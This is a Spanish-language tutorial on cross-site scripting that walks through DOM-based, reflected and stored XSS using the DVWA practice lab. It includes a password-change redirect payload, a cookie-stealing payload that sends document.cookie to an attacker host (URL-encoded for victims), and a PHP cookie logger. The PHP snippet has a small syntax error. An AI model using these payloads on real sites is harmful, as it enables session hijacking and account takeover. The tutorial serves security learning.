XSS: ¿Qué es? – Ejecutar scripts en una web

Cross-site scripting o XSS en una de las vulnerabilidades web más extendidas en la que se permite que un atacante pueda conseguir ejecutar código javascript potencialmente malicioso. Es un ataque por inyección cómo SQL injection o file inclusion, pero a diferencia de éstos no ataca a la web, si no a los usuarios que la visitan.
Podemos utilizar DVWA para hacer las prácticas de éste tutorial, hay ejemplos de los 3 tipos y en varias dificultades, (se recomienda empezar por la baja, por defecto está en imposible).
Hay 3 tipos de XSS:
DOM-based (o local)
En éste tipo, el código javascript nunca llega a la página o al servidor, se inyecta en el navegador y es éste el que lo ejecuta.
Por ejemplo, tenemos una página web que vamos a llamar paginavulnerable, ésta tiene un catálogo y pasa el parámetro por GET (presente en la url).
paginavulnerable.com/catalogo.php?id=63
Podríamos hacer inyección de código js de la siguiente forma

paginavulnerable.com#catalogo=<script>alert(‘hackingnovatxs’);<script>

Las segundas etiquetas script llevan siempre / despues de < ya que son etiquetas html. No puedo escribirlo por restricciones en el WordPress.
Es algo muy típico inyectar un pequeño script de alerta para comprobar la vulnerabilidad, el # hace que a partir de ahí se tome como un fragmento, y no como parte de la petición, así que el servidor solo recibiría que hemos hecho una consulta a paginavulnerable.com.

A la hora de hacer un ataque mediante esta vulnerabilidad, el atacante podría aprovechar ésto creando una url con script que al clicarla en otro ordenador, hiciese algo que la víctima no quiere que se haga, sobretodo si tiene sesiones abiertas en otras webs. Por lo tanto habría que conseguir mediante ingeniería social que se utilizase el link modificado.
Pongamos el ejemplo de que nuestra víctima está logueado siempre en un foro del que es admin. En ese foro, a la hora de cambiar la contraseña se realiza a la web una petición por GET de éste estilo:

forovictima.com/id=admin&changepassword=nuevacontraseña

nuestro vector de ataque sería enviarle a la víctima algo así:

paginavulnerable.com#catalogo=<script>window.location=’forovictima.com/id=’admin’&changepassword=’a2g4g5′;<script

éste script lo que hace es simplemente redirigir a la página forovictima y cambiar la contraseña. Obviamente si no está logueado no funcionará, y también sería bastante improbable que hiciese click en un link así jajaja razón por la cual éste metodo está casi en desuso, aunque igualmente es interesante para ver el funcionamiento de las inyecciones javascript. Algunos navegadores codifican los >< y ésto hace que no funcione correctamente.
Reflected (reflejado) o no persistente
Es el más común de los tres tipos, suele suceder cuando una web genera una página de acuerdo a datos introducidos por el usuario (una búsqueda, por ejemplo), si los datos no son validados y se incluyen en el código html de la página, entonces existe Reflected XSS.
Al no ser persistente, no afecta a todos los usuarios y sería necesaria la ingeniería social (al igual que en el tipo DOM) para que alguien hiciese click en un link modificado.
El primer paso es la detección, y creo que es una buena práctica probar primero con una inyección HTML, si por ejemplo el resultado de introducir

<h1>Inyectado html </h1>

presenta un título en grande en la página, sería un claro indicativo de que no se validan los datos

Una vez comprobada la vulnerabilidad ya se podría ver qué hacer, podríamos intentar que los usuarios de la web vulnerable en cuestión hiciesen click en un link cómo éste:

paginavulnerable.com/index.php?id=<script>window.location=’webdelatacante.com/cookies.php?cookie=’+document.cookie;<script

lo que hace es cambiar a la url atacante con un parámetro por get (la cookie del usuario conectado a la página vulnerable, que se recoge con document.cookie)
en mi caso la web atacante está en 127.0.0.1/cookies.php y la vulnerable es http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=

127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>window.location=’127.0.0.1/cookies.php?cookie=’+document.cookie;<script

Que parcialmente codificado (cómo habría que pasarselo a las víctimas) y listo, es así: codificar/decodificar urls

127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>window.location%3D’127.0.0.1%2Fcookies.php%3Fcookie%3D’%2Bdocument.cookie%3B<%2Fscript> #

el código de cookies.php es muy simple, coge la cookie enviada por get desde la url vulnerable y la almacena en un archivo llamado cookies.txt.

<?
$cookie = $_GET[‘cookie’];
$fichero = fopen(“cookies.txt”,”a”);
fwrite($fichero, “$cookie \n”;
fclose($fichero);
?>

Al dar las victimas click en el link, se guardaría la cookie en el fichero, yo como estoy en local, soy mi propia víctima jajaja

DVWA tiene una cookie que indica la dificultad en la que estás y tu PHPSESSID, que es la cookie de sesión, si tuvieramos eso de otra persona en una web con registro de usuarios, podríamos conectarnos a su cuenta sin necesitar usuario ni contraseña.
Stored (guardado) o persistente
Cuando la vulnerabilidad está en un lugar dónde se queda guardado lo que se introduce (en una base de datos por ejemplo), los foros son un buen ejemplo de ésto. La forma de detección y explotación es similar, con la diferencia de que lo que hagamos será ejecutado por todos los usuarios que entren en esa página. Demonos cuenta de lo que una vulnerabilidad así implica, es normal que los desarrolladores tengan algo más de cuidado y haya menos de éste tipo que de la no persistentes